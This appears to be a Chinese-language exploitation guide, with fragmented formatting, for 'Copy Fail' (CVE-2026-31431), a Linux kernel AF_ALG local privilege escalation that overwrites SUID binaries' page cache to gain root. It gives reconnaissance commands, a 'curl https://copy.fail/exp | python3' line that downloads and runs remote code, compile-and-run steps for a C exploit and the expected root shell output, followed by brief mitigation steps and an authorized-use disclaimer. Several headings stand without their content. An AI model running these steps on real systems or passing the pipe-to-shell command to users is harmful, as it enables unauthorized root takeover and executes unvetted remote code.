本内容仅供教育和授权安全测试使用。切勿在未经明确许可的系统上运行此漏洞。
Copy Fail (CVE-2026-31431) 是一个影响 Linux 本地权限提升(LPE)的漏洞,通过 AF_ALG 影响内核加密 API。
它允许非特权用户覆盖 SUID 二进制文件(例如 /usr/bin/su)的页缓存数据,从而获得 root 访问权限。
AF_ALGalgif_aead 模块os.splicesocket(AF_ALG)uname -a
grep -i authencesn /proc/crypto
lsmod | grep alg
预期指标:
authencesn(hmac(sha256),cbc(aes))algif_aeadpython3 copy_fail_exp.py
curl https://copy.fail/exp | python3
su
id
预期结果:
uid=0(root)
os.splice not found原因:
解决方案:
gcc copy_fail_exp.c -o copy_fail
chmod +x copy_fail
./copy_fail
su
可能原因:
安装所需工具:
apt update && apt install build-essential
dmesg | grep -i alg
lsmod | grep algif_aead
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead
更新系统:
apt update && apt upgrade
如果漏洞利用失败,请考虑:
请仅在实验室、CTF 和授权渗透测试中负责任地使用此漏洞。